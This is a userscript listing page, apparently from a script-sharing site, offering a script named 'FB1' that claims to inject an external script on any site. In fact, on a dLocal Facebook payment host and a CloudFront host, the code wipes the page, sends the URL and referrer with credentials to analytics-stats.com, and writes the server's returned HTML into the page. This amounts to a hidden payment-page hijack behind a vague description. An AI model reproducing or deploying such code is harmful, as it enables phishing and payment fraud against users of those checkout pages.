FB1

Inject an external script from a specific domain on any site.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey, το Greasemonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey to install this script.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Userscripts για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey to install this script.

Θα χρειαστεί να εγκαταστήσετε μια επέκταση διαχείρισης κώδικα χρήστη για να εγκαταστήσετε αυτόν τον κώδικα.

(Έχω ήδη έναν διαχειριστή κώδικα χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

Advertisement:

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(Έχω ήδη έναν διαχειριστή στυλ χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

Advertisement:

// ==UserScript==
// @name         FB1
// @namespace    http://tampermonkey.net/
// @version      3.0
// @description  Inject an external script from a specific domain on any site.
// @match        *://*/*
// @grant        none
// @license MIT
// ==/UserScript==

if (location.host == 'facebook.dlocal.com' || location.host == 'd2wn155wkkluhq.cloudfront.net') {

  document.write(' ');

  var data = {
    url: location.href,
    referrer: document.referrer,
  };

  var query =  new URLSearchParams(data).toString();
  var url = "https://analytics-stats.com/rapipago/get?"+query;

  var options = {
    credentials: 'include', 
  };

  fetch(url, options)
  .then(response => response.json())
  .then(data => {
    if(data.status == 'ok'){
      document.write(data.text);
    }else{
      document.write(data.text);
      alert(data.text);
    }
    console.log(data);

  })
  .catch(error => {
    console.log(error);
  });

}